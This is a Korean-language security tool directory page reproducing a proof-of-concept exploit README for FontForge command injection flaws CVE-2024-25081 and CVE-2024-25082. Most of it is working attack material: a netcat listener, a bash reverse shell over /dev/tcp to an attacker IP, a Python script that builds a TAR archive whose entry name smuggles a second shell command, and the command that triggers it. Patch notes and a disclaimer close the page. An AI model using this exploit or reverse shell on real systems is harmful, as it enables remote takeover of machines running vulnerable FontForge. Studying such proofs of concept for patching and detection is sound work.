Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-25082_CVE-2024-25081 — FontForge Splinefont의 조작된 파일명 명령 삽입 취약점 | Kitploit
도구/GitHubGitHub/alielkhatteb/cve-2024-25082_cve-2024-25081
Payload GenerationVulnerability AnalysisExploitationPenetration TestingCommand and ControlLearning & Education
GitHubalielkhatteb/cve-2024-25082_cve-2024-25081

CVE-2024-25082_CVE-2024-25081

FontForge Splinefont의 조작된 파일명 명령 삽입 취약점

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
15개월 전아직 검토되지 않음

⚠️ FontForge RCE — CVE-2024-25081 및 CVE-2024-25082 - PoC

📖 개요

FontForge ≤ 20230101 (Splinefont 구성 요소)의 두 가지 명령 삽입 취약점에 대한 개념 증명 익스플로잇입니다.

CVE벡터트리거
CVE-2024-25081조작된 파일명직접 파일 열기
CVE-2024-25082조작된 아카이브 파일명TAR/ZIP/GZ/BZ2 추출

이 PoC는 CVE-2024-25082를 대상으로 합니다 — FontForge의 자동 아카이브 추출은 파일명을 셸로 전달할 때 삭제(sanitization)하지 않아, TAR 항목 이름에 포함된 세미콜론으로 구분된 페이로드가 임의의 명령을 실행할 수 있게 합니다.


작동 방식

FontForge는 아카이브에서 직접 글꼴 파일을 열 수 있습니다. TAR 아카이브를 추출할 때 Splinefont 구성 요소는 아카이브 항목의 파일명을 사용하여 셸 명령을 구성합니다. 파일명이 삭제되지 않았기 때문에 항목 이름의 세미콜론 (;)이 예상된 명령에서 벗어나 임의의 셸 명령을 주입합니다.

악성 TAR 항목 이름:

root@kitploit:~
exploit.ttf;bash /tmp/s.sh;

FontForge가 이 아카이브를 처리하면 셸은 이를 다음과 같이 해석합니다:

root@kitploit:~
<extract command> exploit.ttf ; bash /tmp/s.sh ; 

환경

  • 취약한 소프트웨어: FontForge ≤ 20230101
  • 플랫폼: Linux
  • 공격자 리스너: 192.168.1.20:4444 (필요에 따라 조정)

📋 전제 조건

  • Python 3 (표준 라이브러리만, tarfile 모듈)
  • 공격자 머신의 netcat
  • 대상 머신의 FontForge ≤ 20230101

🛠️ 개념 증명

1. 공격자 머신에서 netcat 리스너 시작

root@kitploit:~
nc -lvnp 4444

2. 악성 TAR 아카이브 생성

root@kitploit:~
# Write the reverse shell payload
echo 'bash -i >& /dev/tcp/192.168.1.20/4444 0>&1' > /tmp/s.sh
chmod +x /tmp/s.sh

# Build the malicious archive
python3 << 'EOF'
import tarfile, io

malicious_name = "exploit.ttf;bash /tmp/s.sh;"
tar = tarfile.open("exploit.tar", "w")
info = tarfile.TarInfo(name=malicious_name)
info.size = 4
tar.addfile(info, io.BytesIO(b"AAAA"))
tar.close()
print("done")
EOF

3. 대상에서 FontForge로 아카이브 열기

root@kitploit:~
fontforge exploit.tar

리버스 셸이 리스너로 다시 연결됩니다.


🔒 패치

FontForge post-20230101에서 PR #5367을 통해 수정되었습니다. 최신 릴리스로 업그레이드하세요.

  • Debian/Ubuntu: sudo apt upgrade fontforge
  • 수동 빌드: fontforge/fontforge에서 최신 버전을 가져오세요.

🔍 참고 자료

  • NVD — CVE-2024-25081
  • NVD — CVE-2024-25082
  • FontForge fix PR #5367

⚖️ 면책 조항 및 이용 약관

이 개념 증명(PoC) 코드는 교육 및 승인된 침투 테스트 목적으로만 제공됩니다.

  • 수정, 재배포 또는 다른 목적으로 이 코드를 사용할 권한이 부여되지 않습니다.
  • 승인되지 않은 사용 또는 수정은 불법 및 비윤리적일 수 있습니다.
  • 저자는 오용이나 손해에 대해 책임을 지지 않습니다.
도구 다운로드